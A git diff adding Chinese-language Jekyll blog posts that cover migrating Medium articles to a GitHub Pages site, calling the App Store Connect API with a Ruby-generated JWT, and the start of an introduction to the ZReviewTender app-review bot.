+ id: G-6WZJENT8WR # fill in your Google Analytics ID + # Google Analytics pageviews report settings + pv: + proxy_endpoint: # fill in the Google Analytics superProxy endpoint of Google App Engine + cache_path: # the local PV cache data, friendly to visitors from GFW region + +# Prefer color scheme setting. +# +# Note: Keep empty will follow the system prefer color by default, +# and there will be a toggle to switch the theme between dark and light +# on the bottom left of the sidebar. +# +# Available options: +# +# light - Use the light color scheme +# dark - Use the dark color scheme +# +theme_mode: # [light|dark] + +# The CDN endpoint for images. +# Notice that once it is assigned, the CDN url +# will be added to all image (site avatar & posts' images) paths starting with '/' +# +# e.g. 'https://cdn.com' +img_cdn: + +# the avatar on sidebar, support local or CORS resources +avatar: '/assets/images/zhgchgli.jpg' + +# boolean type, the global switch for ToC in posts. +toc: true + +comments: + active: disqus # The global switch for posts comments, e.g., 'disqus'. Keep it empty means disable + # The active options are as follows: + disqus: + shortname: zhgchgli # fill with the Disqus shortname. › https://help.disqus.com/en/articles/1717111-what-s-a-shortname + # utterances settings › https://utteranc.es/ + utterances: + repo: # / + issue_term: # < url | pathname | title | ...> + # Giscus options › https://giscus.app + giscus: + repo: # / + repo_id: + category: + category_id: + mapping: # optional, default to 'pathname' + input_position: # optional, default to 'bottom' + lang: # optional, default to the value of `site.lang` + +# Self-hosted static assets, optional › https://github.com/cotes2020/chirpy-static-assets +assets: + self_host: + enabled: # boolean, keep empty means false + # specify the Jekyll environment, empty means both + # only works if `assets.self_host.enabled` is 'true' + env: # [development|production] + +paginate: 10 + +# ------------ The following options are not recommended to be modified ------------------ + +kramdown: + syntax_highlighter: rouge + syntax_highlighter_opts: # Rouge Options › https://github.com/jneen/rouge#full-options + css_class: highlight + # default_lang: console + span: + line_numbers: false + block: + line_numbers: true + start_line: 1 + +collections: + tabs: + output: true + sort_by: order + +defaults: + - scope: + path: '' # An empty string here means all files in the project + type: posts + values: + layout: post + comments: true # Enable comments in posts. + toc: true # Display TOC column in posts. + # DO NOT modify the following parameter unless you are confident enough + # to update the code of all other post links in this project. + permalink: /posts/:title/ + - scope: + path: _drafts + values: + comments: false + - scope: + path: '' + type: tabs # see `site.collections` + values: + layout: page + permalink: /:title/ + - scope: + path: assets/img/favicons + values: + swcache: true + - scope: + path: assets/js/dist + values: + swcache: true + +sass: + style: compressed + +compress_html: + clippings: all + comments: all + endings: all + profile: false + blanklines: false + ignore: + envs: [development] + +exclude: + - '*.gem' + - '*.gemspec' + - tools + - README.md + - LICENSE + - gulpfile.js + - node_modules + - package*.json + +jekyll-archives: + enabled: [categories, tags] + layouts: + category: category + tag: tag + permalinks: + tag: /tags/:name/ + category: /categories/:name/ +``` + +請依照註解將設定替換成您的內容。 + + +> ⚠️ \_config\.yml 有調整都需要重新啟動本地網站!才會套用效果 + + + + +#### 預覽網站 + +依賴安裝完成後, + +可以下 `bundle exec jekyll s` 啟動本地網站: + + +![](/assets/a0c08d579ab1/1*f9xi6k6NCjesF0YtgjvogQ.png) + + +複製其中的網址 `http://127.0.0.1:4000/` 貼到瀏覽器打開 + + +![](/assets/a0c08d579ab1/1*BSUbXFi082ZkHil2cWV2BQ.png) + + +**本地預覽成功!** + +此 Terminal 開著,本地網站就開著,Terminal 會持續更新網站存取紀錄,方便我們除錯。 + +我們可以再開一個新的 Termnial 做後續的其他操作。 +### Jeklly 目錄結構 + + +![](/assets/a0c08d579ab1/1*Rf8A-Y36J1oy6rwG1Crt8w.png) + + +依照樣板不同可能會有不同的資料夾跟設定檔案,文章目錄在: +- **\_posts/** :文章會放在這個目錄下 +文章檔案命名規則: `YYYY` – `MM` – `DD` \- `文章檔案名稱` \.md +- **assets/** : +網站資源目錄,網站用圖片或 **文章內的圖片** 都要放置於此 + + +其他目錄 \_incloudes、\_layouts、\_sites、\_tabs… 都可讓你做進階的擴充修改。 + +Jeklly 使用 [Liquid](https://jekyllrb.com/docs/liquid/){:target="_blank"} 做為頁面模板引擎,頁面模板是類似繼承方式組成: + + +![](/assets/a0c08d579ab1/1*g9n4qBgEWb_ErOOwqrUC6Q.jpeg) + + +使用者可自由客製化頁面,引擎會先看使用者有沒有建立對應頁面的客製化檔案 \-> 如果沒有則看樣板有沒有 \-> 如果沒有就用原始的 Jekyll 樣式呈現。 + +所以我們可以很輕易地對任何頁面做客製化,只需要在相對應的目錄建立一樣的檔案名稱即可! +### 建立/編輯文章 +- 我們可以先把 `_posts/` 目錄下的範例文章檔案全數刪除。 + + +使用 [Visual Code](https://code.visualstudio.com/){:target="_blank"} \(免費\) 或 [Typora](https://typora.io/){:target="_blank"} \(付費\) 建立 Markdown 檔案,這邊以 [Visual Code](https://code.visualstudio.com/){:target="_blank"} 為例: + + +![](/assets/a0c08d579ab1/1*5xgNYYYQXHylU6GV_akGfQ.png) + +- 文章檔案命名規則: `YYYY` – `MM` – `DD` \- `文章檔案名稱` \.md +- 建議以英文為檔案名稱 \(SEO 最佳化\),這個名稱就會是網址的路徑 + + +文章 **內容頂部 Meta** : +```markdown +--- +layout: post +title: "安安" +description: ZhgChgLi 的第一篇文章 +date: 2022-07-16 10:03:36 +0800 +categories: Jeklly Life +author: ZhgChgLi +tags: [ios] +--- +``` +- layout: post +- title: 文章標題 \(og:title\) +- description: 文章描述 \(og:description\) +- date: 文章發表時間 \(不可以是未來\) +- author: 作者 \(meta:author\) +- tags: 標籤 \(可多個\) +- categories: 分類 \(單個,用空格區分子母分類 `Jeklly Life` \-> Jeklly 目錄下的 Life 目錄\) + + +**文章內容** : + +使用 [Markdown](https://dillinger.io/){:target="_blank"} 格式撰寫: +```markdown +--- +layout: post +title: "安安" +description: ZhgChgLi 的第一篇文章 +date: 2022-07-16 10:03:36 +0800 +categories: Jeklly Life +author: ZhgChgLi +tags: [ios] +--- +# HiHi! +你好啊 +我是 **ZhgChgLi** +圖片: +![](/assets/post_images/DSC_2297.jpg) +> _有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact) 。_ +``` + +**成果:** + + +![](/assets/a0c08d579ab1/1*44ZMj3cemJGr-l0OripI6Q.png) + + + +> ⚠️ 文章調整不需要重新啟動網站,檔案變更後會直接渲染顯示,如果過一陣子都沒出現修改內容,可能是文章內容格式有誤導致渲染失敗,可回到 Terminal 查看原因。 + + + + + + +![](/assets/a0c08d579ab1/1*FRx_7B8vbRqOq345Ts682A.png) + +### 從 Medium 下載文章並轉成 Markdown 放入 Jekyll + +有了基本的 Jekyll 知識後我們繼續向前邁進,使用 [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} 工具將現有在 Medium 網站上的文章下載並轉換成 Markdwon 格式放到我們的 Blog 資料夾中。 + + +[![](https://repository-images.githubusercontent.com/493527574/9b5b7025-cc95-4e81-84a9-b38706093c27)](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} + + +cd 到 blog 目錄下後,下以下指令將 Medium 上的該使用者所有文章都下載下來: +```bash +ZMediumToMarkdown -j 你的 Meidum 帳號 +``` + + +![](/assets/a0c08d579ab1/1*cOFDZUWbpslzO975nT1QAg.png) + + +等待所有文章下載完成。。。 + + +> 如有遇到任何下載問題、意外出錯歡迎 [與我聯絡](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} ,這個下載器是我撰寫的\( [開發心得](../ddd88a84e177/) \),可以最快速直接地幫你解決問題。 + + + + + + +![](/assets/a0c08d579ab1/1*5UfA22gZLQBXSc5jXgCmlg.png) + + +下載完成後,回到本地網站就能預覽成果囉。 + + +![](/assets/a0c08d579ab1/1*1Qg8jGrPc5tDRI4tZ1B5dg.png) + + +**完成!!我們已經無痛地將 Medium 文章導入到 Jekyll 囉!** + +可以檢查一下文章有無跑版、圖片有無缺失,如果有一樣歡迎 [回報給我](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} 協助修復。 +### 上傳內容到 Repo + +本地預覽內容沒問題後,我們就要將內容 Push 到 Github Repo 囉。 + +依序使用以下 Git 指令操作: +```bash +git add . +git commit -m "update post" +git push +``` + +Push 完成後回到 Github 上,可以看到 Actions 有 CD 再跑: + + +![](/assets/a0c08d579ab1/1*UV9_80VRsMvmLtYJVpTrog.png) + + +約等待 5 分鐘… + + +![](/assets/a0c08d579ab1/1*ZvVHhaIcZjUZgvtUkFte5w.png) + + +部署完成! +#### 首次部署完成設定 + +首次部署完成要更改以下設定: + + +![](/assets/a0c08d579ab1/1*enRTr0wapljkC7pi-qJ91g.png) + + +否則前往網站只會出現: +``` +--- layout: home # Index page --- +``` + +「Save」後不會馬上生效,要回到「Actions」頁面再一次重新等待部署。 + +重新部署完成後,就能成功進入網站了: + + +![](/assets/a0c08d579ab1/1*YvIOSgW9sQ14UIWUMFTJww.png) + + +Demo \-> [zhgchg\.li](https://zhgchg.li/){:target="_blank"} + +現在你也擁有一個免費的 Jekyll 個人 Blog 囉!! +#### 關於部署 + +每次 Push 內容到 Repo 都會觸發重新部署,要等到部署成功,更改才會真正生效。 +### 綁定自訂網域 + +如果不喜歡 [zhgchgli0718\.github\.io](https://zhgchgli0718.github.io/){:target="_blank"} Github 網址,可以從 [Namecheap](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} 購買您喜歡的網域或是使用 [Dot\.tk](http://dot.tk/en/index.html?lang=en){:target="_blank"} 註冊免費 \.tk 結尾的網域。 + +購買網域後進到網域後台: + +加上以下四個 Type A Record 紀錄 +``` +A Record @ 185.199.108.153 +A Record @ 185.199.109.153 +A Record @ 185.199.110.153 +A Record @ 185.199.111.153 +``` + + +![](/assets/a0c08d579ab1/1*29e7AxJnZpnrNbniRMtkKg.png) + + +網域後台新增好設定後,回到 Github Repo Settings: + + +![](/assets/a0c08d579ab1/1*Q-FB7x5j9t-Q6QKW6LFTow.png) + + +在 Custom domain 的地方填入你的網域,然後按「Save」。 + + +![](/assets/a0c08d579ab1/1*ZlXEv-g-W58sbe7lfnT1kQ.png) + + +等待 DNS 通了之後,就可以用 zhgchg\.li 取代掉原本的 github\.io 網址。 + + +> ⚠️ DNS 設定至少需要 5 分鐘 ~ 72 小時才會生效,如果一直無法認證過;請稍後再試。 + + + + +### 雲端、全自動 Medium 同步機制 + +每次有新文章都要用電腦手動跑 [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} 然後再 Push 到專案,嫌麻煩嗎? + +[ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} 其實還提供貼心的 [Github Action 功能](https://github.com/marketplace/actions/zmediumtomarkdown-automatic-bot){:target="_blank"} ,可以讓你解放電腦、全自動幫你同步 Medium 文章到你的網站上。 + +**前往 Repo 的 Actions 設定:** + + +![](/assets/a0c08d579ab1/1*DioRzBToaaSmYzccOrCwBw.png) + + +點擊「New workflow」 + + +![](/assets/a0c08d579ab1/1*jGkqhcqk-H7_cCWWZwVNzg.png) + + +點擊「set up a workflow yourself」 + + +![](/assets/a0c08d579ab1/1*vA7YX2umOfis2pSUxlR60Q.png) + +- 檔案名稱修改為: `ZMediumToMarkdown.yml` +- 檔案內容如下: + +```yaml +name: ZMediumToMarkdown +on: + workflow_dispatch: + schedule: + - cron: "10 1 15 * *" # At 01:10 on day-of-month 15. + +jobs: + ZMediumToMarkdown: + runs-on: ubuntu-latest + steps: + - name: ZMediumToMarkdown Automatic Bot + uses: ZhgChgLi/ZMediumToMarkdown@main + with: + command: '-j 你的 Meidum 帳號' +``` +- [cron](https://crontab.guru/){:target="_blank"} : 設定執行週期 \(每週?每個月?每天?\),這邊是設定每個月 15 號凌晨 1:15 會自動執行 +- command: 填入你的 Medium 帳號在 \-j 後面 + + +點擊右上方「Start commit」\->「Commit new file」 + + +![](/assets/a0c08d579ab1/1*W0Ee2D1cqEm6qVgQzXb4ig.png) + + +完成 Github Action 建立。 + +建立完成後回到 Actions 就會出現 ZMediumToMarkdown Action。 + +除了時間到自動執行外還可以依照以下步驟,手動觸發執行: + + +![](/assets/a0c08d579ab1/1*0j4fxZVvzExadmRicQaWkg.png) + + +Actions \-> ZMediumToMarkdown \-> Run workflow \-> Run workflow。 + +執行後,ZMediumToMarkdown 就會直接透過 Github Action 的機器跑同步 Medium 文章到 Repo 的腳本: + + +![](/assets/a0c08d579ab1/1*TXb9Ni4pCVNE9q-vLnHSaw.png) + + +跑完後同樣會觸發重新部署,重新部署完成後到網站就會出現最新的內容了。🚀 + + +> 完全無需人工操作!也就是說未來你還是可以繼續更新 Medium 文章,腳本都會貼心地自動幫你從雲端同步內容到你自己的網站上! + + + + +#### 我的 Blog Repo + + +[![](https://opengraph.githubassets.com/04e80671c0b46baabe1106b3b99c8e049580237780d3b5c6bf49276611ba8b09/ZhgChgLi/zhgchgli.github.io)](https://github.com/ZhgChgLi/zhgchgli.github.io){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E7%84%A1%E7%97%9B%E8%BD%89%E7%A7%BB-medium-%E5%88%B0%E8%87%AA%E6%9E%B6%E7%B6%B2%E7%AB%99-a0c08d579ab1){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-07-20-f1365e51902c.md b/_posts/zmediumtomarkdown/2022-07-20-f1365e51902c.md new file mode 100644 index 000000000..adb2f672d --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-07-20-f1365e51902c.md @@ -0,0 +1,228 @@ +--- +title: "App Store Connect API 現已支援 讀取和管理 Customer Reviews" +author: "ZhgChgLi" +date: 2022-07-20T14:50:44.659+0000 +last_modified_at: 2024-04-14T02:18:42.807+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","app-store-connect","api","app-review","integration"] +description: "App Store Connect API 2.0+ 全面更新,支援 In-app purchases、Subscriptions、Customer Reviews 管理" +image: + path: /assets/f1365e51902c/1*hHJ66r9BgJQsGnRYqbB_8g.png +render_with_liquid: false +--- + +### App Store Connect API 現已支援 讀取和管理 Customer Reviews + +App Store Connect API 2\.0\+ 全面更新,支援 In\-app purchases、Subscriptions、Customer Reviews 管理 + +### 2022/07/19 News + + +![[Upcoming transition from the XML feed to the App Store Connect API](https://developer.apple.com/news/?id=yqf4kgwb){:target="_blank"}](/assets/f1365e51902c/1*hHJ66r9BgJQsGnRYqbB_8g.png) + +[Upcoming transition from the XML feed to the App Store Connect API](https://developer.apple.com/news/?id=yqf4kgwb){:target="_blank"} + +今早收到 [Apple 開發者最新消息](https://developer.apple.com/news/rss/news.rss){:target="_blank"} ,App Store Connect API 新增支援 In\-app purchases、Subscriptions、Customer Reviews 管理三項功能;讓開發者可以更彈性的將 Apple 開發流程與 CI/CD 或是商業後台做更密切、有效率的整合! + +In\-app purchases、Subscriptions 我沒碰,Customer Reviews 讓我興奮不已,之前發表過一篇「 [**AppStore APP’s Reviews Slack Bot 那些事**](../cb0c68c33994/) 」探討 App 評價與工作流程整合的方式。 + + +![Slack 評價機器人 — [ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"}](/assets/f1365e51902c/1*igukM7FTLxaX2hpVtFPMjQ.png) + +Slack 評價機器人 — [ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"} + +在 App Store Connect API 還沒支援之前,只有兩種方法能獲取 iOS App 評價: + +**一 是** 透過訂閱 [Public RSS](https://rss.itunes.apple.com/zh-tw){:target="_blank"} 取得,但是此 RSS 無法讓人彈性篩選、給的資訊也少、有數量上限、還有我們偶爾會遇到資料錯亂問題,很不穩定 + +**二 是** 透過 [**Fastlane**](https://fastlane.tools/){:target="_blank"} **— [SpaceShip](https://github.com/fastlane/fastlane/tree/master/spaceship){:target="_blank"}** 幫我們封裝複雜的網頁操作、Session 管理,去 App Store Connection 網站後台撈取評價資料 \(等於是起一個網頁模擬器爬蟲去後台爬資料\)。 +- 好處是資料齊全、穩定,我們串接了一年沒有遇到任何資料問題。 +- 壞處是 Session 每個月都會過期,要手動重新登入,而且 Apple ID 目前全面都要綁定 2FA 驗證,所以這段也要手動完成,這樣才能產出有效的 Session;另外 Session 如果產的跟用的 IP 不一樣會馬上過期 \(因此很難將機器人放上不固定 IP 的網路服務\)。 + + + +![[important\-note\-about\-session\-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane](/assets/f1365e51902c/0*iMQRza9LN3ljy2k1.png) + +[important\-note\-about\-session\-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane +- 每個月不定時過期,要不定時去更新,時間久了真的很煩;而且這個 「 **Know How** 」其實不好交接給其他同事。 + + + +> 但因為沒有其他方法,所以也只能這樣,直到今天早上收到消息…\. + + + + + +> **⚠️ 注意:官方預計在 2022/11 取消原本的 XML \(RSS\) 存取方式。** + + + + +### 2022/08/10 Update + +我已基於新的 App Store Connect API 開發了新的 「 [ZReviewTender — 免費開源的 App Reviews 監控機器人](../e36e48bb9265/) 」 +### App Store Connect API 2\.0\+ Customer Reviews 試玩 +#### 建立 App Store Connect API Key + +首先我們要登入 App Store Connect 後台,前往「Users and Access」\->「Keys」\->「 [**App Store Connect API**](https://appstoreconnect.apple.com/access/api){:target="_blank"} 」: + + +![](/assets/f1365e51902c/1*0NimMOcIqQ95nzjBBKYe8A.png) + + +點擊「\+」,輸入名稱和權限;權限細則可參考官網說明,為了減少測試問題,這邊先選擇「App Manager」把權限開到最大。 + + +![](/assets/f1365e51902c/1*Bt8ddt7GrZs1ERaFamftVw.png) + + +點擊右方「Download API Key」下載保存你的「AuthKey\_XXX\.p8」Key。 + + +> ⚠️ 注意:這個 Key 只能下載一次請 **妥善保存** ,若遺失只能 Revoke 現有的 & 重新建立。⚠️ + + + + + +> **⚠️ 切勿外洩 \.p8 Key File⚠️** + + + + +#### App Store Connect API 存取方式 +```bash +curl -v -H 'Authorization: Bearer [signed token]' "https://api.appstoreconnect.apple.com/v1/apps" +``` +#### Signed Token \(JWT, JSON Web Token\) 產生方式 + +參考 [官方文件](https://developer.apple.com/documentation/appstoreconnectapi/generating_tokens_for_api_requests){:target="_blank"} 。 + + +![](/assets/f1365e51902c/1*KDv2ra17oSp5UXKy-VZA1g.png) + +- JWT Header: + +```json +{kid:"YOUR_KEY_ID", typ:"JWT", alg:"ES256"} +``` + +`YOUR_KEY_ID` :參考上圖。 +- JWT Payload: + +```json +{ + iss: 'YOUR_ISSUE_ID', + iat: TOKEN 建立時間 (UNIX TIMESTAMP e.g 1658326020), + exp: TOKEN 失效時間 (UNIX TIMESTAMP e.g 1658327220), + aud: 'appstoreconnect-v1' +} +``` + +`YOUR_ISSUE_ID` :參考上圖。 + +`exp TOKEN 失效時間` :會因為不同存取功能或設定有不同的時間限制,有的可以永久、有的超過 20 分鐘即失效,需要重新產生,詳細可參考 [官方說明](https://developer.apple.com/documentation/appstoreconnectapi/generating_tokens_for_api_requests#3878467){:target="_blank"} 。 +#### 使用 [JWT\.IO](https://jwt.io/){:target="_blank"} 或是以下附的 Ruby 範例產生 JWT + +jwt\.rb: +```ruby +require 'jwt' +require 'time' + +keyFile = File.read('./AuthKey_XXXX.p8') # YOUR .p8 private key file path +privateKey = OpenSSL::PKey::EC.new(keyFile) + +payload = { + iss: 'YOUR_ISSUE_ID', + iat: Time.now.to_i, + exp: Time.now.to_i + 60*20, + aud: 'appstoreconnect-v1' + } + +token = JWT.encode payload, privateKey, 'ES256', header_fields={kid:"YOUR_KEY_ID", typ:"JWT"} +puts token + + +decoded_token = JWT.decode token, privateKey, true, { algorithm: 'ES256' } +puts decoded_token +``` +- Ruyb JWT 工具在此: [https://github\.com/jwt/ruby\-jwt](https://github.com/jwt/ruby-jwt){:target="_blank"} + + +**最終會得到類似以下的 JWT 結果:** +``` +4oxjoi8j69rHQ58KqPtrFABBWHX2QH7iGFyjkc5q6AJZrKA3AcZcCFoFMTMHpM.pojTEWQufMTvfZUW1nKz66p3emsy2v5QseJX5UJmfRjpxfjgELUGJraEVtX7tVg6aicmJT96q0snP034MhfgoZAB46MGdtC6kv2Vj6VeL2geuXG87Ys6ADijhT7mfHUcbmLPJPNZNuMttcc.fuFAJZNijRHnCA2BRqq7RZEJBB7TLsm1n4WM1cW0yo67KZp-Bnwx9y45cmH82QPAgKcG-y1UhRUrxybi5b9iNN +``` +#### 打看看? + +有了 Token 我們就能來打看看 App Store Connect API! +```bash +curl -H 'Authorization: Bearer JWT' "https://api.appstoreconnect.apple.com/v1/apps/APPID/customerReviews" +``` +- `APPID` 可從 App Store Connect 後台取得: + + + +![](/assets/f1365e51902c/1*yU4J85S6Q_e8c9NPYE8bNw.png) + + +或是 App 商城頁面: +- [https://apps\.apple\.com/tw/app/pinkoi/id557252416](https://apps.apple.com/tw/app/pinkoi/id557252416){:target="_blank"} +- APPID = `557252416` + + + +![](/assets/f1365e51902c/1*wWIpy8Y5G2F0A2FvQzp0hQ.png) + +- 成功!🚀 我們現在可以使用這個方式撈取 App 評價,資料完整且可以完全交給機器執行,不需人工例行維護 \(JWT 雖會過期,但是 Private Key 不會,我們每次請求都可藉由 Private Key 簽名產生 JWT 去存取即可\)。 +- 其他篩選參數、操作方法請參考 [官方文件](https://developer.apple.com/documentation/appstoreconnectapi/list_all_customer_reviews_for_an_app){:target="_blank"} 。 + + + +> **⚠️ 您只能存取您有權限的 App 評價資料⚠️** + + + + +#### 完整 Ruby 測試專案 + +用一個 Ruby 檔案做了以上流程,可直接 Clone 下來填入資料即可測試使用。 + + +[![](https://opengraph.githubassets.com/dc0eb76d891ed80d9f1cb1979225b4cf2ad813fe3c1344bac51a14384c8aeb00/zhgchgli0718/appstoreconnectapitester)](https://github.com/zhgchgli0718/appstoreconnectapitester){:target="_blank"} + + +**首次打開:** +```bash +bundle install +``` + +**開始使用:** +```bash +bundle exec ruby jwt.rb +``` +### Next + +同理我們可以透過 API 去存取管理 \( [API Overview](https://developer.apple.com/app-store-connect/api/){:target="_blank"} \): +- **\[New\]** [Customer reviews](https://developer.apple.com/documentation/appstoreconnectapi/app_store/customer_reviews){:target="_blank"} +- **\[New\]** [Subscriptions](https://developer.apple.com/app-store/subscriptions/){:target="_blank"} +- **\[New\]** [In\-App Purchases](https://developer.apple.com/in-app-purchase/){:target="_blank"} +- **\[New\]** [Xcode Cloud Workflows And Builds](https://developer.apple.com/documentation/appstoreconnectapi/xcode_cloud_workflows_and_builds){:target="_blank"} +- **\[Updated\]** [Improving your App’s Performance](https://developer.apple.com/documentation/metrickit/improving_your_app_s_performance){:target="_blank"} +- [TestFlight](https://developer.apple.com/testflight/){:target="_blank"} +- [Users And Roles](https://developer.apple.com/support/roles/){:target="_blank"} +- [App Clips](https://developer.apple.com/app-clips/){:target="_blank"} +- [App Management](https://help.apple.com/app-store-connect/#/dev2cd126805){:target="_blank"} +- [App Metadata](https://developer.apple.com/app-store/product-page/){:target="_blank"} +- [Pricing And Availability](https://help.apple.com/app-store-connect/#/dev9fc06e23d){:target="_blank"} +- [Provisioning](https://help.apple.com/developer-account/){:target="_blank"} +- [Sales and Trends](https://help.apple.com/app-store-connect/#/dev061699fdb){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/app-store-connect-api-%E7%8F%BE%E5%B7%B2%E6%94%AF%E6%8F%B4-%E8%AE%80%E5%8F%96%E5%92%8C%E7%AE%A1%E7%90%86-customer-reviews-f1365e51902c){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-08-10-e36e48bb9265.md b/_posts/zmediumtomarkdown/2022-08-10-e36e48bb9265.md new file mode 100644 index 000000000..595d4ecc4 --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-08-10-e36e48bb9265.md @@ -0,0 +1,879 @@ +--- +title: "ZReviewTender — 免費開源的 App Reviews 監控機器人" +author: "ZhgChgLi" +date: 2022-08-10T11:56:05.731+0000 +last_modified_at: 2024-04-14T02:23:05.237+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","app-store","google-play","app-review","automation"] +description: "實時監測 App 的最新評價內容並即時給予反饋,提升協作效率及消費者滿意度" +image: + path: /assets/e36e48bb9265/1*DjHhZ7Yq-rE3LkFDiYW9lg.jpeg +render_with_liquid: false +--- + +### ZReviewTender — 免費開源的 App Reviews 監控機器人 + +實時監測 App 的最新評價內容並即時給予反饋,提升協作效率及消費者滿意度 + + + +![[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZReviewTender](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"}](/assets/e36e48bb9265/1*DjHhZ7Yq-rE3LkFDiYW9lg.jpeg) + +[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZReviewTender](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} +#### [ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZReviewTender](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} + + +![App Reviews to Slack Channel](/assets/e36e48bb9265/1*wlGNbHopjPwFsP8j9LpKcw.jpeg) + +App Reviews to Slack Channel + +[**ZReviewTender**](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} **—** 為您自動監控 App Store iOS/macOS App 與 Google Play Android App 的使用者最新評價訊息,並提供持續整合工具,串接進團隊工作流程,提升協作效率及消費者滿意度。 + + +[![](https://repository-images.githubusercontent.com/516425682/1cc1a829-d87d-4d4a-925b-60471b912b23)](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} + +### 特色功能 +- 取得 App Store iOS/macOS App 與 Google Play Android App 評價列表並篩選出尚未爬取過的最新評價內容 +- \[預設功能\] 轉發爬取到的最新評價到 Slack,點擊訊息 Timestamp 連結能快速進入後台回覆評價 +- \[預設功能\] 支援使用 Google Translate API 自動翻譯非指定語系、地區的評價內容成您的語言 +- \[預設功能\] 支援自動記錄評價到 Google Sheet +- 支援彈性擴充,除包含的預設功能外您仍可依照團隊工作流程,自行開發所需功能並整合進工具中 +e\.g\. 轉發評價到 Discord, Line, Telegram… +- 使用時間戳紀錄爬取位置,防止重複爬取評價 +- 支援過濾功能,可指定只爬取 多少評分、評價內容包含什麼關鍵字、什麼地區/語系 的評價 +- Apple 基於 [**全新的 App Store Connect API**](https://developer.apple.com/documentation/appstoreconnectapi/list_all_customer_reviews_for_an_app){:target="_blank"} ,提供穩定可靠的 App Store App 評價資料來源,不再像 [以往使用 XML 資料不可靠 or Fastlane Spaceship Session 會過期需定時人工維護](../f1365e51902c/) +- Android 同樣使用官方 AndroidpublisherV3 API 撈取評價資料 +- 支援使用 Github Repo w/ Github Action 部署,讓您免費快速的建立 ZReviewTender App Reviews 機器人 +- 100% Ruby @ [RubyGem](https://rubygems.org/gems/ZReviewTender){:target="_blank"} + +#### 與類似服務比較 + + +![](/assets/e36e48bb9265/1*zarnSqZqa9Kgnq8T8JQL9Q.png) + +#### App Reviews 工作流程整合範例 \(in Pinkoi\) + +**問題:** + + +![](/assets/e36e48bb9265/1*ZULed1sGV4YzAAezw_fCaQ.png) + + +商城的評價對產品很重要但他卻是一個非常人工跟重複轉介溝通的事。 + +因為要時不時人工上去看一下新評價,如過有客服問題再將問題轉發給客服協助處理,很重複、人工。 + + +![](/assets/e36e48bb9265/1*Ptph8qaLqoTaNw9Fp7VTqw.png) + + +透過 ZReviewTender 評價機器人,將評價自動轉發到 Slack Channel,大家能快速收到最新評價資訊,並即時追蹤、討論;也能讓整個團隊了解目前使用者對產品的評價、建議。 + +更多資訊可參考: [2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密](../11f6c8568154/) 。 +### 部署 — 只使用預設功能 + +如果您只需要 ZReviewTender 自帶的預設功能 \(to Slack/Google Translate/Filter\) 則可使用以下快速部署方式。 + +ZReviewTender 已打包發佈到 [RubyGems](https://rubygems.org/gems/ZReviewTender){:target="_blank"} ,您可以快速方便的使用 RubyGems 安裝使用 ZReviewTender。 +#### \[推薦\] 直接使用 Github Repo Template 部署 +- 無需任何主機空間 ✅ +- 無需任何環境要求 ✅ +- 無需了解工程原理 ✅ +- 完成 Config 檔案配置即完成部署 ✅ +- 8 個步驟即可完成部署 ✅ +- 完全免費 ✅ +Github Action 提供每個帳號 2,000\+分鐘/月 執行用量,執行一次 ZReviewTender 評價撈取約只需要 15~30 秒。 +預設每 6 小時執行一次,一天執行 4 次, **一個月約只消耗 60 分鐘額度** 。 +Github Private Repo 免費無限制建立。 + + +1\.前往 ZReviewTender Template Repo: [**ZReviewTender\-deploy\-with\-github\-action**](https://github.com/ZhgChgLi/ZReviewTender-deploy-with-github-action){:target="_blank"} + + +![](/assets/e36e48bb9265/1*1pn3bxyBO0FoY4oIRvKCNg.png) + + +點擊右上方「Use this template」按鈕。 + +2\. 建立 Repo + + +![](/assets/e36e48bb9265/1*YCBJJlSN4ZYjKMz7WBVIAQ.png) + +- Repository name: 輸入你想要的 Repo 專案名稱 +- Access: **Private** + + + +> ⚠️⚠️ 請務必建立 **Private Repo** ⚠️⚠️ + + +> **因為你將上傳設定及私密金鑰到專案中** + + + + + +最後點擊下方「Create repository from template」按鈕。 + +3\. 確認你建立的 Repo 是 Private Repo + + +![](/assets/e36e48bb9265/1*1ZHF9CIOMV8S12Xw2P4B8g.png) + + +確認右上方 Repo 名稱有出現「🔒」和 Private 標籤。 + +若無則代表您建立的事 **Public Repo 非常危險** ,請前往上方 Tab「Settings」\-> 「General」\-> 底部「Danger Zone」\-> 「Change repository visibility」\->「Make private」 **改回 Private Repo** 。 + +4\. 等待 